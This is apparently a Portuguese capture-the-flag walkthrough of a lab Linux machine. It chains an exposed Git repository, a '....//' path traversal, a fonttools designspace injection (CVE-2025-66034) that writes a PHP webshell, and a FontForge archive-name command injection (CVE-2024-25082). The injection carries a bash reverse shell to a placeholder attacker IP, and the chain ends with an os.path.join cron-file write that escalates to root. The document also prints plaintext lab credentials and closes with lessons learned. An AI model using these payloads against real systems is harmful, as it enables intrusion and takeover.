Máquina Linux que encadeia um repositório Git exposto, leitura arbitrária de arquivo por path traversal, escrita arbitrária via injeção XML no
fonttools, command injection no FontForge ao processar arquivos comprimidos e abuso deos.path.joincom caminho absoluto num instalador sudo para chegar a root.
Recon
Port scan
rustscan -a variatype.htb -- -sV
O scan devolveu só SSH e um nginx servindo variatype.htb.
The application
A raiz de variatype.htb é um gerador de fontes variáveis. Fuzzing de vhost expõe um segundo host, o portal interno de validação:
ffuf -u http://variatype.htb -H 'Host: FUZZ.variatype.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 2321
Git dump
Com variatype.htb e portal.variatype.htb no /etc/hosts, encontrei um diretório .git acessível no portal. Dumpei o repositório e li o histórico:
git-dumper http://portal.variatype.htb/.git loot/git-dump
git -C loot/git-dump log --oneline
O commit 753b5f5 adicionou credenciais hardcoded no auth.php para uma conta de automação. O diff entrega usuário e senha:
As credenciais gitbot:G1tB0t_Acc3ss_2025! autenticam no portal e dão acesso ao dashboard de validação.
Foothold
Path traversal via download.php
O portal tem um download.php que monta o caminho a partir do parâmetro f sem normalizar ../. O nginx colapsa ../ simples, mas ....// sobrevive à normalização e ainda atravessa diretórios. Lendo /etc/passwd confirmei o traversal e o único usuário interativo, steve:
Arbitrary file write via CVE-2025-66034
O mesmo primitivo lê o source do gerador em /opt/variatype/app.py. O endpoint de geração salva o .designspace e os masters num tempdir e roda fonttools varLib config.designspace, copiando o resultado para o webroot do portal:
O alvo roda fonttools 4.50.0, dentro da faixa afetada pela CVE-2025-66034. A varLib usa o atributo filename do elemento <variable-font> como caminho de saída sem sanitizar, e escreve o conteúdo de <labelname> verbatim no corpo da fonte. Um caminho absoluto em filename faz o os.path.join interno descartar o diretório de saída legítimo, e o registro de nome Macintosh guarda a string single-byte — então o <?php ?> cai contíguo num arquivo executável pelo php-fpm.
O .designspace malicioso injeta o webshell no labelname e mira o webroot pelo filename:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="400" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET['c']); ?>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-regular.ttf" name="Source Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
<source filename="source-black.ttf" name="Source Black">
<location><dimension name="Weight" xvalue="900"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="Variabype" filename="/var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets><axis-subset name="Weight"/></axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Os dois masters .ttf exigidos pela varLib são gerados com o FontBuilder do próprio fonttools (glyph set mínimo e idêntico, interpolável). Depois do upload do .designspace e dos masters, a varLib escreve o shell.php no webroot e o php-fpm o executa:
curl http://variatype.htb/tools/variable-font-generator/process \
-F 'designspace=@config.designspace' \
-F 'masters=@source-regular.ttf' -F 'masters=@source-black.ttf'
curl 'http://portal.variatype.htb/files/shell.php?c=id'
Lateral Movement
Como www-data, o script /opt/process_client_submissions.bak mostra o pipeline que steve roda periodicamente: ele varre /var/www/portal.variatype.htb/public/files — o mesmo diretório onde escrevo — e valida cada arquivo de fonte abrindo-o com fontforge. O regex ^[a-zA-Z0-9._-]+$ filtra só o nome externo do arquivo; o conteúdo de um arquivo comprimido não passa por essa checagem.
font = fontforge.open('$file')
O FontForge é a versão 20230101, afetada pela CVE-2024-25082: ao abrir um archive, o Splinefont constrói um comando shell com o nome do membro interno sem sanitizar. Um nome de membro com metacaracteres de shell executa no contexto de quem roda o fontforge — steve. O tarball tem nome externo válido e o membro carrega a injeção com um reverse shell:
import tarfile, io
member = "valid.ttf;bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1';"
with tarfile.open("submit.tar.gz", "w:gz") as tar:
info = tarfile.TarInfo(name=member); info.size = 1
tar.addfile(info, io.BytesIO(b"\x00"))
Dropei o tarball no diretório monitorado e, quando o pipeline rodou, o fontforge avaliou o nome do membro e disparou o reverse shell como steve. Com acesso como steve, a flag de user foi obtida em /home/steve/user.txt.
Privilege Escalation
O sudo -l de steve libera um instalador de plugins como root:
O install_validator.py baixa um “plugin” de uma URL com setuptools.package_index.PackageIndex().download(url, PLUGIN_DIR). O nome do arquivo de destino vem do último segmento da URL, decodificado, e é combinado com os.path.join(PLUGIN_DIR, name). O script tenta blindar traversal validando o esquema (http/https), removendo .. e abortando URLs com muitas barras, mas não trata barras codificadas.
os.path.join descarta o primeiro argumento quando o segundo é absoluto. Codificando /etc/cron.d/pwn como %2fetc%2fcron.d%2fpwn, o último segmento da URL decodifica para um caminho absoluto, o PLUGIN_DIR é descartado e o conteúdo servido é escrito como root onde eu quiser. Sirvo um job de cron e disparo o instalador:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://<ATTACKER_IP>:8000/%2fetc%2fcron.d%2fpwn"
O arquivo cai em /etc/cron.d/pwn como root. No minuto seguinte o cron aplica o SUID em /bin/bash, e /bin/bash -p preserva o euid 0.
Lessons Learned
....//defeats a single-pass../filter: the normalizer collapses the inner../, leaving a valid traversal. Reject decoded paths, don’t string-replace them.- CVE-2025-66034 turns a font build step into a write primitive because the output
filenameis attacker-controlled and<labelname>content lands verbatim in the file. The Macintosh name record keeps it single-byte, so an embedded<?php ?>stays contiguous and executes. - The submission pipeline validated the external filename but handed archive contents straight to FontForge. CVE-2024-25082 only needs the internal member name, which the regex never inspected.
os.path.join(base, name)silently discardsbasewhennameis absolute. Stripping..and counting slashes misses URL-encoded separators that decode to an absolute path after the check.
Impact
- A Variatype perde a propriedade intelectual que é o seu produto: as fontes proprietárias e o código do gerador ficam ao alcance de qualquer atacante, quebrando os acordos de confidencialidade com os clientes que submetem tipografia para validação.
- Quem controla o pipeline de processamento pode adulterar as fontes entregues aos clientes — o produto da fundição vira um vetor de supply-chain que alcança os usuários finais sem que a empresa perceba.
- A indisponibilidade do serviço de geração e o custo de reconstruir o host comprometido tiram a operação do ar e impõem um esforço de resposta a incidente muito além da máquina em si.
Exploits
Os scripts usados estão em programming/htb/variatype:
build_payload.py— gera o.designspacemalicioso + masters para CVE-2025-66034build_tar.py— cria o tarball com nome de membro injetável (CVE-2024-25082)payload_server.py— HTTP responder para o privesc viainstall_validator.pyinstall_validator.py— cópia do script vulnerável (referência)